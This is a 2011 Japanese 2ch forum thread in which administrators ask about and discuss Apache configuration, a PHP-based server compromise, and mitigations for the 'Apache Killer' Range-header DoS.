変なperlスクリプトを実行しようとしてるみたいなのですが、これはなんでしょうか??
何か対策は行えますでしょうか?

よろしくお願いします
248DNS未登録さん:2011/06/14(火) 15:12:14.24 ID:???
249DNS未登録さん:2011/06/14(火) 15:13:04.98 ID:???
おめでとうございます。あなたのサーバは外部から乗っ取られています。
被害を拡大しないように、まずはマシンからケーブルをひっこぬいてください。

segfault してるので、外部から拾ってきたスクリプトの実行はできてないと思うけど、
そもそもそういうスクリプトをダウンロードさせられてしまってる自体で
任意のコマンドを外部から実行できるということなので、まったく安心はできない。
サーバの内部のどこがどんなふうに書き換えられているかわかったもんじゃないので、
ディスクをフォーマットして OS のインストールからやりなおし。
再インストール後も、まったく同じ手順でサーバを構築したら同じ穴ができるので、
何がいけなかったか判明するまでは外部に晒してはいけない。
250DNS未登録さん:2011/06/14(火) 16:13:29.88 ID:???
てきとうな事言いますねぇ
251DNS未登録さん:2011/06/15(水) 01:15:14.58 ID:???
ディスクをフォーマットしてOSのインストールだなんて・・・
Windowsかっちゅーのww
ここはド素人しかいないの??
252DNS未登録さん:2011/06/15(水) 01:37:24.92 ID:???
批判ならミトコンドリアでも出来る
そのHDDフォーマット→OS再インスコ以外で、OS を綺麗な状態で再スタートできる手段を書いてみなよ。
設定をバックアップしておいてそれを書き戻すだけとか、クソ回答禁止ね。
あと仮想化前提の話もね。
253DNS未登録さん:2011/06/15(水) 01:51:17.44 ID:???
質問者のスキル(やそこから予想される運用)を考えると、
少なくともOS再インスコ以外に手はないと思う。
# 必要なデータを安全にバックアップするスキルがあるかは微妙
254DNS未登録さん:2011/06/15(水) 10:29:58.31 ID:???
>>251のつっこみどころがそもそも素人くさいわ
255248:2011/06/15(水) 12:06:46.07 ID:???
どうもです
念のためCDブートのOSからrootkitが仕掛けられていないかを調べました
不審なコマンドやユーザーの追加等もなく、ログインされた痕跡は見つかりませんでした

おそらくphpの設定でallow_url_fopen=Onになっていたことが原因かと
この脆弱性をついて外部スクリプトを実行させたものと思われます
この設定をOffにしてしばらく様子を見てみます
256247:2011/06/15(水) 12:07:29.51 ID:???
↑247でした・・・orz
257DNS未登録さん:2011/06/15(水) 15:07:36.24 ID:???
いあ、でもWin鯖ならマジでOSの再インストールからやり直したほうが賢いかもな
258DNS未登録さん:2011/06/28(火) 21:49:30.01 ID:???
apacheを起動したままにしておくとだんだん重くなっていくのですが、改善策はあるでしょうか?
259DNS未登録さん:2011/06/29(水) 00:23:32.10 ID:???
再起動
260DNS未登録さん:2011/06/30(木) 13:57:27.49 ID:???
重くなる原因を調べて改善する。
うちは重くならんけどな
261DNS未登録さん:2011/07/15(金) 13:41:18.40 ID:???
>>258
まさか、Apacheを起動してるWindowsが?
262DNS未登録さん:2011/07/19(火) 12:21:57.79 ID:???
すいませんが、質問させてください。

現在solarisでApache1.3.41-ssl1.60 を使用しているのですが、
SSLの暗号化強度を変更するため、httpsd.confでSSLciphersuite を設定したいです。
この場合、Apache+mod_sslに入れ替えないと駄目でしょうか?
Apache-sslのままSSLciphersuite、またそれに類する設定を行う事はできないでしょうか?
263DNS未登録さん:2011/07/19(火) 12:47:28.72 ID:???
BenSSL とはクソ懐しいな。もう10年近くさわってない。

で、なんでドキュメント読まないの?
久しぶりに apache-ssl のサイトを見に行って5秒で相当するディレクティブを
見つけたけど、そんなにわかりにくいドキュメントか?

暗号強度を気にするのはセキュリティのためだろうけど、
基本的なドキュメントの読み方も知らないような奴が運用してるんなら
どうせ他に穴もあるだろうからそこだけいじったってほとんど意味ないよ。
サーバいじる仕事向いてないからとっととやめろ。
264262:2011/07/19(火) 21:19:01.85 ID:???
>>263
ありがとうございます、と共に申し訳ありませんでした。
ドキュメントを確認して自分が必要とする設定を発見できました。
叱咤、大変感謝致しました。
以後、質問する際は気をつけたいと思います。
265DNS未登録さん:2011/07/23(土) 00:11:28.08 ID:???
教えていただきたいのですが
WindowsのApache2.2でBasic認証時、対象フォルダを大文字で指定と認証なしで入れちゃうんです

httpd.confに下記を記入
<Location "/page01">
AuthType Basic
AuthName "page01"
AuthUserFile d:/user/Apache2.2/bin/passwd
AuthGroupFile d:/user/Apache2.2/bin/group
Require group page
</Location>

http://ほげ/page01/
でアクセスするとしっかり認証ダイアログが出るんですが
http://ほげ/Page01/
だと認証なしでページが表示されちゃってたという…

仕方ないのでフォルダ名を数字だけにして対処してますが一般的にはどうされてるのでしょうか?
大文字を一切受け付けないような設定があれば良い気もするのですが…

よろしくお願いします
266DNS未登録さん:2011/07/23(土) 00:26:57.97 ID:???
なぜ<Location>を使うのか
267DNS未登録さん:2011/07/23(土) 00:29:15.42 ID:???
あ…
httpd.confの
<Location "/page01">

<Directory "/user/Apache2.2/home/test/">
でフルパス指定したらなんかうまくいきました。
…どっかのページを参考に<Location "/page01">
みたいな記述をして、なんとなくうまく逝った気がしたのでそのままやってました
お騒がせいたしました
268DNS未登録さん:2011/07/23(土) 08:31:21.16 ID:???
それは「参考」にしてるんやない、鵜呑みにしてるだけや
269DNS未登録さん:2011/07/23(土) 14:05:50.36 ID:???
>>267
以下のマニュアルを熟読したほうがいいよ。

ttp://httpd.apache.org/docs/2.2/ja/sections.html#whichwhen

アクセス制限をかける場合、<Directory>を使わないと回避される可能性があるという話。
270DNS未登録さん:2011/08/03(水) 21:43:52.49 ID:???
apache 2.2.19 を使っています。
access_log に
114.190.55.xx - - [01/Aug/2011:02:40:27 +0900] "-" 408 - "-" "-"
125.197.64.xx - - [01/Aug/2011:02:40:31 +0900] "-" 408 - "-" "-"
123.225.217.xx - - [01/Aug/2011:02:40:31 +0900] "-" 408 - "-" "-"
122.30.214.xx - - [01/Aug/2011:02:40:32 +0900] "-" 408 - "-" "-"
というエントリが数秒に1回出るのですが、原因が分かりません。
ステータス408はタイムアウトとのことですが、何がタイムアウトしているのでしょうか。
271DNS未登録さん:2011/08/04(木) 10:33:05.67 ID:???
どんな設定してんだかわからんのにログだけ見せられて
何がタイムアウトしてるかなんてわかるわけないだろ。

パケットキャプチャして 408 になった通信でどんなやりとりがされてるか確認しろ。
272DNS未登録さん:2011/08/06(土) 11:37:33.50 ID:???
ErrorLog で、
crit 以上のエラーと、warn以上crit未満のエラーを、
別のファイルにログをとりたいのですが、どのように記述すれば良いでしょうか。
273DNS未登録さん:2011/08/08(月) 06:16:05.27 ID:???
>>272
Apache だけでは無理じゃないかな〜
pipe で logger に食わせて、syslog-ng などで
分けたらいけるんじゃないだろうか
274DNS未登録さん:2011/08/08(月) 06:34:26.06 ID:???
うちはwhile(<>){}させたスクリプトにパイプして、そのままSQLにぶちこんでから選別してる
テキストのログファイルでいいなら数行のスクリプトで振り分けできるっしょ
275DNS未登録さん:2011/08/08(月) 14:20:43.03 ID:???
rotatelog みたいにログ出力にプログラムを使えるんだから、
代用品は作れると思うよ。
276DNS未登録さん:2011/08/08(月) 17:49:55.23 ID:???
ひとつのログにまとめて出力して grep すればいいだけやんけ
277DNS未登録さん:2011/08/08(月) 18:33:54.54 ID:???
「別のファイルにログをとりたい」
んだから、ひとつのログでいいだろって返答は元も子もない
278DNS未登録さん:2011/08/09(火) 10:32:06.93 ID:???
grep crit > 別ファイル
で困るような要件なら案をひっこめるけど、どーせそうじゃないんでしょ。
ログを監視してクリティカルなものがあればアラートを上げる、
とかいうような場合ですら不要なのがほとんどなんだし。
へたに小細工して複雑になるより、シンプルでいくのがいちばん。
279DNS未登録さん:2011/08/09(火) 10:44:28.04 ID:???
ファイルを分けるとログを料理するときに面倒。

自分は利便性からAccess、Errorのほかにリファラを個別で取得してるぐらいか。
280DNS未登録さん:2011/08/10(水) 04:50:29.48 ID:???
grep では時間がかかりすぎるのでファイルを分けたいのですが、
そのままではできないようですね。
syslog-ng とか調べてみます。ありがとう >>273
281DNS未登録さん:2011/08/10(水) 04:52:25.04 ID:???
>>270
もう見てないかもしれないけど、それは、keepalive が timeout して close したときに出力される。
1.3系ではあったけど、2.2 系ではなかったものを、2.2.18 で加えたらしい。
KeepaliveTimeout の調整の参考になるかもしれん。
282DNS未登録さん:2011/08/17(水) 00:00:50.97 ID:???
HTTP 1.1だと、ファイルを作成したり、
ファイルの削除をしたりとか、
普通なら、FFFTPでやるような操作ができるって本当?
283DNS未登録さん:2011/08/17(水) 00:23:12.64 ID:???
検索ワードを追加 【WebDAV】


まぁぶっちゃけ WebDAV は使うに値しない。
FTP の方が全然レスポンスいい


iSCSI をインターネットを跨いで使うと使い勝手はいいよ
重要なもののやりとりはしないほうがいいとは思うけどw
284DNS未登録さん:2011/08/26(金) 16:29:50.47 ID:8PhHVQtj
apacheのraange攻撃で2chがやられたな
おれんちのはいまパッチあてたバージョンに入れ替えた

でも正式パッチはまだ出てないけど
285DNS未登録さん:2011/08/26(金) 19:21:20.24 ID:???
自分の鯖は対策したが職場のはやる気になれん・・
指摘したら全部やらされるだろうし
286DNS未登録さん:2011/08/26(金) 22:18:38.32 ID:???
指摘しなくてもそのうち指示されるんじゃね?
287DNS未登録さん:2011/08/26(金) 22:59:36.33 ID:???
パッチ待ちやな
288DNS未登録さん:2011/08/26(金) 23:13:47.37 ID:???
めんどうだから対策してないや
パッチ待ち
289DNS未登録さん:2011/08/27(土) 00:42:27.96 ID:???
>>286
いろいろ絶賛放置中だから多分大丈夫だw
290DNS未登録さん:2011/08/27(土) 00:49:08.23 ID:k/R7+MKu
職場の鯖は今夜入れ替えて帰ってきた
いま家に帰ってきてこれから自分ちのもやる予定
291DNS未登録さん:2011/08/27(土) 01:34:23.07 ID:???
DoSなんだからmod_evasivs入れてれば問題ないだろ
つーか、みんなそんな剥き出しのまま運用してるの?
292DNS未登録さん:2011/08/27(土) 01:59:40.62 ID:k/R7+MKu
アクセスの多いサイトだとDoSとそうでないアクセスの見分け方って難しいんだよな
しかも、ケータイキャリアやCATVとかDoSと区別がつかないようなアクセスが来るときあるし
293DNS未登録さん:2011/08/27(土) 04:31:34.71 ID:???
アクセス数はそんなに多くない鯖だけど、いたずらされたら嫌なので一応の対策はしたよ
294DNS未登録さん:2011/08/27(土) 17:26:11.87 ID:LbROrP5B
みなさんApache killer対策しました?
295DNS未登録さん:2011/08/27(土) 19:31:24.39 ID:???
WindowsにApacheをいれてローカル環境を作りました。
外部に公開したくないのでためしに全てを拒否してみたいと思い以下のように書いてみたのですが、127.0.0.1のIPでもアクセスできてしまいます
書き方を間違えている箇所のご指摘お願いいたします。(設定ファイル修正後のサーバの再起動は済んでます)
<Directory />
Order deny,allow
Deny from all
</Directory>
<Directory "C:/www/docroot">
Order deny,allow
Deny from all
# 全部拒否できるか確認したいので↓をコメントアウト
#Allow from 127.0.0.1
</Directory>

296DNS未登録さん:2011/08/27(土) 22:56:18.41 ID:???
サーバーへのアクセス (到達) を拒否させるなら IP フィルタで拒否するしかない
297DNS未登録さん:2011/08/27(土) 23:55:24.01 ID:M5umEHNK
もうすぐ2chが止まって48時間か
パッチまだぁ
298DNS未登録さん:2011/08/31(水) 11:07:52.53 ID:???
2.2.20出たよー。
299DNS未登録さん:2011/08/31(水) 11:42:29.24 ID:???
>>298
officialには出てないが、jaistとかにあるな。
300DNS未登録さん:2011/08/31(水) 12:37:01.28 ID:???
そして先行してパッチを取り込んだdebianでregressionとおぼしきreportが…
#639825 - Apache2 seek broken - Debian Bug report logs
ttp://bugs.debian.org/cgi-bin/bugreport.cgi?bug=639825
301DNS未登録さん:2011/09/01(木) 05:49:51.31 ID:???
1.3はapache killerの影響受けないような気がすんだけど気のせい?
302DNS未登録さん:2011/09/01(木) 07:39:07.70 ID:???
メモリ搭載量の問題ではなくて?
303DNS未登録さん:2011/09/01(木) 08:57:01.63 ID:???
実際止まるのは古いVerだけみたいだな。

最新あたりは一時的に遅くなるだけ。

1.3みたいなアップ止まったのをいつまでも使ってるやつのことは知らん。
304DNS未登録さん:2011/09/01(木) 09:10:36.60 ID:???
1.3はapr_bucket使ってないので、変なrangeくらってもプロセスが太らない。
305DNS未登録さん:2011/09/01(木) 10:38:24.62 ID:???
枯れたのを使うのが一番??? ってこと?
でも脅して、もっと穴あきの最新バージョンをつかわそうって魂胆なの?
306DNS未登録さん:2011/09/01(木) 22:44:57.12 ID:???
>>305
枯れたものに対するパッチは出ないから、
それを込みで使うならいいんじゃね?
っていうか、それを考えずに古いものをいつまでも使い続けているのは単なる怠慢。
307DNS未登録さん:2011/09/01(木) 23:27:59.66 ID:???
1.3系は負荷は上がってもDoS状態にまではならんらしいな。
308DNS未登録さん:2011/09/02(金) 02:02:44.06 ID:???
2.2.20にしたらAU携帯でみれないと苦情
俺だけか?
LimitRequestFieldSize 200
はトラブルがありそう

>負荷は上がってもDoS状態にまではならんらしいな。
もともと負荷が高いサーバーは負荷上昇でダウンするわけだが。
十分最悪
メモリがやばい。
309DNS未登録さん:2011/09/02(金) 03:34:27.31 ID:???
これがApache Killerか(URLは言わないが見つけた)

防御実験するためにも攻撃ツールはいるよね。
310DNS未登録さん:2011/09/02(金) 03:39:20.24 ID:???
これが・・・って書かなくても、普通に perl スクリプトで転がってますやん

自分ののサーバーにすらやる勇気無いので試さない。
パッチのあたったやつを入れたら、動作確認で1回はテストするけど …
311DNS未登録さん:2011/09/02(金) 06:08:30.92 ID:???
対策する前に一度試さないと、効果があったかわからんしな。
対策前に一回、mod_header入れて暫定対策して一回、
2.20入れて一回で計3回じゃね?
312DNS未登録さん:2011/09/02(金) 08:01:05.19 ID:???
Apache killerについて調べてたらウイルスバスター様に怒られたでござる。。。
313DNS未登録さん:2011/09/02(金) 09:39:18.30 ID:???
>>312
Windowsなんか使ってるからだよ。
314DNS未登録さん:2011/09/04(日) 12:40:56.69 ID:???

apache killerの情報知ってたけど無視して休暇取ったから今になって対応中。

うちみたいな小規模サイトはRequestHeader unset Range すりゃいいんだろ。
315DNS未登録さん:2011/09/04(日) 15:23:17.34 ID:???
まぁrange指定が必要になるほど
316DNS未登録さん:2011/09/04(日) 23:55:43.26 ID:???
nginx
317DNS未登録さん:2011/09/05(月) 11:28:06.58 ID:???
>>308
>LimitRequestFieldSize 200
>はトラブルがありそう

アドバイザリにも書いてあるけど、CookieとかUser-Agent とかで
正常な環境でも大きなリクエストヘッダを投げてきて制限を越えることがある。
DoSは回避できるけど、それ以上に他の問題を増やすのでやらない方がいいよ。

>>316
nginxみたいなものでリバースプロクシしても、
うしろのapacheにRangeヘッダをそのまま渡したらDoS成立するよ。
nginxでRangeを削ってからapacheに渡せば問題ないけど、
それならapacheで削れば済む話。
318DNS未登録さん:2011/09/17(土) 06:14:53.77 ID:???
2.2.21
319DNS未登録さん:2011/09/18(日) 21:38:32.60 ID:???
質問です
CentOS5.2上でApache2.2.17をつかっています。
3つのドメインをつかってヴァーチャルホストの設定をしているのですが、一つのドメインだけがサブドメインが使えない状態です。

aaa.com
bbb.com
ccc.com

とすると aaa.com がメインドメインでバーチャルホストにて www.aaa.com www2.aaa.com bbb.com www.bbb.com の4つを設定使用しています。
そして最近取得したドメインccc.comを使おうと ccc.com www.ccc.com www2.ccc.com他の3つと同じ書式で設定してもwwwとwww2がなぜだか
メインドメインのaaa.comに飛ばされてしまいます。

同じ書式のccc.comは正常にバーチャルホストとして機能しています。

/etc/httpd/conf.d/virtualhost.conf に記述していてDocumentRootに設定してあるディレクトリも存在しアクセス権も問題ありません。
記述としては

正常稼働しているサブドメインの記述
<VirtualHost *:80>
ServerName www.aaa.com
DocumentRoot /var/www/html/www.aaa.com
ErrorLog logs/virtual-error_log
CustomLog logs/virtual-access_log combined env=!no_log
</VirtualHost>


反映?されていないサブドメインの記述
<VirtualHost *:80>
ServerName www.ccc.com
DocumentRoot /var/www/html/www.ccc.com
ErrorLog logs/virtual-error_log
CustomLog logs/virtual-access_log combined env=!no_log
</VirtualHost>

これはどういった状況で反映?されていないのでしょうか?
3時間くらいあれこれ調べてみましたが解決できず、質問させていただきます。
320DNS未登録さん:2011/09/18(日) 22:18:32.66 ID:???
ServerAlias
321DNS未登録さん:2011/09/18(日) 22:32:52.98 ID:???
>>320
ServerAliasは記述しておらず、今回の動作は意図した動作ではありませんのでServerAliasで記述する問題ではないような気がします
Virtualhostで記述してあるはずのサブドメインがなぜだかマッチしないと判断されメインドメインであるaaa.comに飛ばされているように感じます。

DNSの設定もワイルドカードを使い全てこのサーバに飛ばしております。
動作としては、examples.aaa.com (全く設定していない適当なサブドメイン)でアクセスするとメインドメインに勝手にとばされるのと同じです。
なのでなぜだかVirtualhostの記述がよみこまれていないような…

正常に動いているサブドメインが記述してあるのと同じvirtualhost.confに記述してあるのですが…
322DNS未登録さん:2011/09/18(日) 22:59:07.02 ID:???
>>321

apachectl -S

どんなになってますか?
323DNS未登録さん:2011/09/18(日) 23:10:57.52 ID:???
>>322
すみません。

apachectl -S

とすれば、すべてのvirtualhostが正常に読み込まれているようです。
そこで、もしやとおもってwww.ccc.com/index.htmlとインデックスファイルを指定してアクセスしたら表示されました。

こ、これは…
現状では問題が変わってしまい、www.bbb.com/ だとデフォルトで表示されるindex.htmlが表示されない状況のようです。
ccc.com/ だと普通にindex.htmlがよみこまれて www.ccc.com/だとディレクトリが空だと判断されているようです。

うーん。こまった…
www.aaa.com や www.bbb.comだと直接ファイル指定しなくてもindex.htmlを読みに行くんですが…
ディレクトリ構造は

/var/www/html/以下に各サブドメインのディレクトリを構成しており、
www.aaa.com www.bbb.comはDirectoryIndexの設定は個別にはしてなかったのですが…
324DNS未登録さん:2011/09/18(日) 23:28:24.54 ID:???
>>323
定義の順番を変えたら、動作が変わったりしますか?

325DNS未登録さん:2011/09/18(日) 23:31:48.13 ID:???
>>324
定義の順番は最初の方に?となっているときにいろいろ変えて試してみましたが変わりませんでした。

httpd -S とやった時にでてくるdefault server に飛ばされているようです。
default server はvirtualhost.confの一番最初に記述されている aaa.com になっております。
326319:2011/09/18(日) 23:33:27.14 ID:???
ちなみに VirtualhostのディレクティブにDirectoryIndexをしてみましたが動作は変わらず、
www.ccc.com/ だとdefaultserverに飛ばされ、www.ccc.com/index.html だと表示されます。
327DNS未登録さん:2011/09/18(日) 23:39:57.38 ID:???
>>325

もしやと思いますが、
リクエストのヘッダ情報をログに書き出しをしてみて、
平常にホストネームが取れますか?
328319:2011/09/18(日) 23:43:37.08 ID:???
追記です

www.ccc.com/ では>>325のようになってしまいますが、 www.ccc.com/test/ だと test/内にあるindexhtmlが指定なしで表示されます。
www.ccc.com/ 直下でのみの現象のようです。
329319:2011/09/18(日) 23:46:56.45 ID:???
>>327
すみません。ちょっとやり方がわからないです
エラーログにはなにも表示されておりません。
330DNS未登録さん:2011/09/18(日) 23:55:23.46 ID:???
>>329
カスタムログを作くってください。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
http://httpd.apache.org/docs/current/ja/mod/mod_log_config.html

でも、>>328 の動作なら関係ないです。

.htaccessかな?
そのドキュメントルートに、.htaccess がありますか?
331319:2011/09/19(月) 00:29:53.21 ID:???
>>330
すみません。返事遅れました。
.htaccessもありません。
感じ的になんらかの原因でRedirectしてるような動作なんですが、httpd.confにもそのような記述はしておりません。

www.bbb.com は正常なのに同じ設定でドメインだけが違う www.ccc.com はダメという不可思議な現象です
332DNS未登録さん:2011/09/19(月) 00:35:17.04 ID:???
>>331
コンテンツ側で、Locationしてるか? or Rewriteを使ってない?

333319:2011/09/19(月) 00:35:30.52 ID:???
ちなみに ccc.com/test/ 内部にindexhtmlを置かずにアクセスすると403エラーが表示されます。
一体なにがおこってるんでしょう…
334319:2011/09/19(月) 00:37:44.12 ID:???
>>332
コンテンツ側(www.ccc.com/index.html)にはTESTとだけ書いたファイルが一つだけ置いてあるだけです。
Rewriteもつかっていません。
335DNS未登録さん:2011/09/19(月) 00:54:44.28 ID:???
>>333
>>334
パーミッションも適切なんよね?

通常、存在しないファイルをアクセスすると 404(Not Found)になるけど、
http://www.ccc.com/b
とかすると、404になりますか?

ErrorDocumentの設定はどんな?なってます?
336319:2011/09/19(月) 01:02:01.54 ID:???
>>335
www.ccc.comのDocumentRootに指定してあるディレクトリは755で適切かと思います。
存在しないファイルにアクセスすると普通の404エラーがでます。
ErrorDocumentは特に設定を弄っておりませんのでデフォルト状態です。
337DNS未登録さん:2011/09/19(月) 01:06:32.42 ID:???
>>336

分からん。

これ以上汚すと皆に怒られるので、
confを問題ない範囲で書き換えて、あげちゃってくださいな。
全体を見ないと分からん。
338DNS未登録さん:2011/09/20(火) 01:53:01.24 ID:???
デフォルトサーバーにはコンテンツを置いちゃダメよ。
1つ目の VirtualHost は
<VirtualHost *>
  ServerName localdomain
  ServerAdmin localhost@localdomain
  DocumentRoot /web/unknown/www
  <Directory /web/unknown/www>
    AllowOverride None
    Order deny,allow
    Deny from all
  </Directory>
</VirtualHost>
これみたいに、全てのアクセスを拒否すべき。
339DNS未登録さん:2011/09/20(火) 05:25:39.21 ID:???
うちも生IPの奴は403だ。
340DNS未登録さん:2011/09/20(火) 11:36:08.50 ID:cQuto9gu
どなたか教えてください。

サーバーに最新のapache(onWindowsXP)をインストールし、
Activeperl(最新晩)によるcgiで、
Win32::OLEをつかって、サーバー側で
Access起動→マクロを走らせる→Access閉じる
を行いたいのですが、上手くいきません。

同じPERLソースで、AN HTTPD だと上手くいくので、
apacheの設定の問題だと思うのですが、
どこをどう設定するのかが分かりません。

ちなみにソースは
# Accesを使用してPDF生成
my $access = CreateObject Win32::OLE 'Access.Application' || die "Cannot create Access object\n$!\n";
my $mdb = 'C:/hoge.mdb';
$access -> {'Visible'} = 1;
$access -> OpenCurrentDatabase($mdb);
$access -> DoCmd -> RunMacro('hoge');
$access-> quit();
undef $access;

です。

どなたか同じようなご経験をお持ちの方はおられませんでしょうか。

宜しくお願い致します。
341DNS未登録さん:2011/09/20(火) 16:18:51.72 ID:???
>>340
Perlコーディング初心者質問スレ Part 63
http://hibari.2ch.net/test/read.cgi/php/1315559509/

誘導された旨も併記する事
342DNS未登録さん:2011/09/20(火) 21:16:50.47 ID:W5NdWo3L
>>341
340です。ありがとうございます。
343DNS未登録さん:2011/09/20(火) 21:53:01.63 ID:???
>>338

適切に制御(理解)しているなら拒否しなくてもいいのでは?

IP直はうっとうしいと言うことなら同意。
344DNS未登録さん:2011/09/26(月) 01:47:00.55 ID:8NMuvV1U
Apacheのモジュール開発についての質問です。
・認証処理をhttpインタフェースで提供するWeb Serverが別にあります。
・このWeb Serverを呼び出して認証を行うモジュールを作りたいです。
・CentOS5です。
このとき他のWeb Serverの呼び出しですが、おすすめのやり方はありますか?
 現在はlibcurlを使おうと思うのですが、どうでしょうか?
345DNS未登録さん:2011/09/26(月) 17:24:06.91 ID:???
libcurl でもいいし、普通にソケット開けてももいいかと。
346DNS未登録さん:2011/09/26(月) 17:40:22.52 ID:ebPU7eoQ
>>345
ありがとうございます。書き忘れましたがssl接続の必要があるようで、
自分でソケット開ける自信ありません。
ということでlibcurlを選んでみようと思います。
#と、いいつつ今はlibcurlのインストールではまってたりします(T_T)
#まだもがき方が足りないようなのでもがいてみます。
347DNS未登録さん:2011/10/02(日) 16:38:31.51 ID:tfF+5fiA

みみずん検索 違法の可能性
http://mimizun.com/index1.html

2ちゃんねるの固定ハンドルみみずんは、2ちゃんねるの過去ログを自らのサーバーに勝手に保存し、
それを無料でネット上に公開している。
この中には2ちゃんねるで既に削除されたはずの危険なスレッドや書き込みが多数残っており、
誰かが気づいてメールで対応しなければ削除されることはない。
更にみみずんはこのような過去ログをCD-Rに取り込み、有料で売っていたという。
348DNS未登録さん:2011/10/07(金) 09:19:26.45 ID:???
魚拓サービスなんて世界中にあるわなw
349DNS未登録さん:2011/10/07(金) 12:33:39.13 ID:???
俺もにちゃんのdatファイルを、普通に閲覧できる状態で公開してたら
一ヶ月間程で警視庁から業務委託された某社から一件、弁護士から二件、
上位プロバイダー宛てには個人情報の開示依頼が裁判所から来たのでどうするかの連絡とか来たりした。
個人からの削除依頼とかもあったし、中にはgoogleやyahooの検索キャッシュに残っているのもなんとかしろとか。
Googleのキャッシュ削除ツールとか初めて使ったよ。
他のところもこんな対応してるのかなぁ。
350DNS未登録さん:2011/10/08(土) 14:16:34.39 ID:???
その程度の覚悟もないようなら乞食アフィなんてやめておけ
ガキはこれだから
351DNS未登録さん:2011/10/11(火) 01:20:41.49 ID:???
そうだねおっさん
352DNS未登録さん:2011/10/11(火) 05:59:00.22 ID:???
>>350
アフィなんてやってねぇよ。
他がやっているからと勝手に決めつけるなよ。
353DNS未登録さん:2011/10/12(水) 07:20:26.01 ID:LqEXX2Gp
perlでCGIを書いてるんでんすが、$|=1; みたくして
バッファリングしないようにして重い作業の経過を表示しています。
さくらのレン鯖では期待通りの動作をするのですが、今回自宅サーバに
インストールしたubuntu server 10.04上ではドバっと一瞬表示されて
しまい、行き詰っています。
Apacheの設定かなと思い、色々ググってみてSendBufferSizeなどを
追加設定したりしても駄目でした。
解決策を心当たりの方がいらっしゃいましたらヒントだけでも
教えて頂けないでしょうか。宜しくお願いします。
354DNS未登録さん:2011/10/12(水) 10:28:31.86 ID:???
大昔の apache は nph-hoge.cgi みたいに nph- で始まる名前にすることで
抑制してたけど、今はそんなことをしなくてもデフォルトで
そういう動作するようになってるはず。

なのにバッファリングされてるというのであれば、
ubuntu が余計なパッチを当ててるか>>353の勘違いかどっちかだと思う。
前者ならソースから自前コンパイル、後者ならシラネ。
355DNS未登録さん:2011/10/12(水) 10:59:42.74 ID:gu1j1ICC
>>354さんありがおつ
↓のコードでレン鯖だと1秒毎に、自宅鯖にSSHからでも1秒毎に
自宅鯖にブラウザからだとドバーと表示されるのです。
やはりapacheが制御しているとしか思えないのです。

$|=1;
print qq|content-type:text/html; charset=UTF-8\n\n|;
for (0..10000) {
print qq|ああどうして人生思うようにいかないんだ $_<br>\n|;
if ($_ % 1000 == 0) {
sleep(1);
}
}
exit;
356DNS未登録さん:2011/10/12(水) 11:28:53.32 ID:yXtBZySH
WinXP Apache2.2.21 で mod_limitipconn を動かそうとしてるんですがつまずいてます
http://dominia.org/djao/limitipconn2.html
Precompiled win32 DLL for Apache 2.2.11 (contributed by ntropic) をDLして
modulesフォルダに mod_limitipconn.dll を解凍

httpd.confに以下のように追記

LoadModule limitipconn_module modules/mod_limitipconn.dll

ExtendedStatus On

<IfModule mod_limitipconn.c>
<Location />
MaxConnPerIP 1
</Location>
</IfModule>

そして ab -n 100 -c 20 http://192.168.0.*/ として動作確認をしたところ

Complete requests: 100
Failed requests: 0

となり機能していません。Apacheを2.2.11に変更してみましたが同様でした
何か間違いがあるでしょうか智恵をおかしください
357353:2011/10/12(水) 12:08:54.76 ID:gu1j1ICC
解決しました!
双方の鯖のヘッダをみてたら自宅鯖の方だけがvary accept-encodingを
出してたので色々調べたらmod_deflate関係みたいなのでmod_deflateを
無効にしたらバッファ無効になりました。
>>354さん、ヒントになりました、どうもです
358DNS未登録さん:2011/10/12(水) 17:05:45.27 ID:???
あー、なるほど。
コンテンツ圧縮はたしかにある程度データを溜め込まないとできないから
そういう挙動になりそうだね。
俺も勉強になった。
359DNS未登録さん:2011/10/12(水) 19:23:05.77 ID:???
apacheのログで、そのURLがIMGタグから呼び出されたことが分かるように出来ますか?

具体的な例とすればB鯖のhtmlディレクトリの中のhtmlのページ内で他の鯖のhtmlのページ、
<img src="http://www.AAA.com/index.html">
などと、画像以外のファイルを記述している場合、
このページ自体の呼び出しがIMGタグであることがわかるログを残せるかどうかです。
360DNS未登録さん:2011/10/12(水) 19:57:16.55 ID:???
無理です
361DNS未登録さん:2011/10/13(木) 01:11:02.60 ID:???
>>359
ブラウザがIMGタグから呼び出されたことがわかるようなリクエストを送ってくれませんので、どう頑張っても無理ですね
どうしてもと言うならば<img src="http://www.example.com/index.html?imgtag" />のように書く

362DNS未登録さん:2011/10/13(木) 01:38:11.78 ID:???
>>359
JavaScriptで<img>を探した結果を、集計用のURLへ送るってのは?
<img>タグを出力する側を制御できないと無理だけど。
363359:2011/10/13(木) 08:53:21.25 ID:???
ありがとうございます。
アクセスされるAAA鯖が私の鯖で、B鯖は第3者の鯖ということです。

みなさんのご意見を総括すると、apache自体では不可能だけど、
リファを取ってそのURLをこちらからGETし、そのHTMLソースを検索するという形でならば、IMGタグからの呼び出しの調査を実装できそうですね。
364359:2011/10/13(木) 08:56:55.79 ID:???
あ。そもそも、普通のAリンククリックからのリファは取れても、
ブラウザからのimage画像の呼び出しはそのIMGタグが貼ってあるページからのリファとして送られてるかどうかという問題もあったか
365DNS未登録さん:2011/10/14(金) 01:38:36.78 ID:???
要は直リンしてるか調査したいのか?
どっちにしろリファラ辿るしかないけどな
366356:2011/10/15(土) 23:20:34.80 ID:???
まだ悩み中です
解る方いましたらよろしくお願いします
367DNS未登録さん:2011/10/16(日) 00:32:15.88 ID:???
ローカル用開発サーバにしたいので外部からのアクセスを遮断したいのですが
バーチャルホストとuserdirを有効にしている状態で
httpd.confにListen 127.0.0.1:80と設定するだけでだけで大丈夫でしょうか?
他は初期設定です
368DNS未登録さん:2011/10/16(日) 01:01:59.79 ID:???
Listen はポートを開く設定

てか、ルータでポート開いてなければ問題ないよ。
ルーターをはさまずにネットに繋いでるのであれば、Document Root で設定したディレクトリに対する
設定のところで

order deny,allow
deny from all
allow from 127.0.0.1

ってやれば OK
369DNS未登録さん:2011/10/16(日) 01:18:54.46 ID:???
>>356
ログレベル上げて起動してみると何か出たりするかもしれない。
モジュールが見えてないのかもしれないので、IfModuleを消して切り分ける。
370356:2011/10/17(月) 02:54:19.44 ID:???
解決しました

LoadModule の行のPATHを "C:\〜 .dll" にしたら読み込んで動きました
お手数かけました
371DNS未登録さん:2011/10/17(月) 14:08:42.75 ID:???
は?
ServerRoot に書いてあるパスの下のmodulesに置いてないのかよ?
372356:2011/10/17(月) 15:24:22.52 ID:???
>>371
置いてましたよ

ServerRootは

